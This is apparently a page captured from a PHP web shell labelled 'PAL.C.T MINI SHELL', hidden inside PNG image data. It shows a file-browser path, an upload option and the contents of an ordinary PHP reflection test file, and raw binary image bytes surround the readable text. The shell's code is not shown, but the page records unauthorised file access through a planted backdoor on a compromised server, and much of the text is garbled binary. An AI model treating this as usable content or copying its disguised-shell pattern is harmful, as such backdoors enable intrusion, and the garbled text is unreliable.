php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/ext/reflection/tests/
upload
files >> //opt/php-7.0.1/ext/reflection/tests/ReflectionFunction_isGenerator_basic.phpt

--TEST--
ReflectionFunction::isGenerator()
--FILE--
<?php

$closure1 = function() {return "this is a closure"; };
$closure2 = function($param) {
	yield $param;
};

$rf1 = new ReflectionFunction($closure1);
var_dump($rf1->isGenerator());

$rf2 = new ReflectionFunction($closure2);
var_dump($rf2->isGenerator());

function func1() {
	return 'func1';
}

function func2() {
	yield 'func2';
}

$rf1 = new ReflectionFunction('func1');
var_dump($rf1->isGenerator());

$rf2 = new ReflectionFunction('func2');
var_dump($rf2->isGenerator());


class Foo {
	public function f1() {
	}

	public function f2() {
		yield;
	}
}

$rc = new ReflectionClass('Foo');
foreach($rc->getMethods() as $m) {
	var_dump($m->isGenerator());
}
?>
--EXPECTF--
bool(false)
bool(true)
bool(false)
bool(true)
bool(false)
bool(true)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`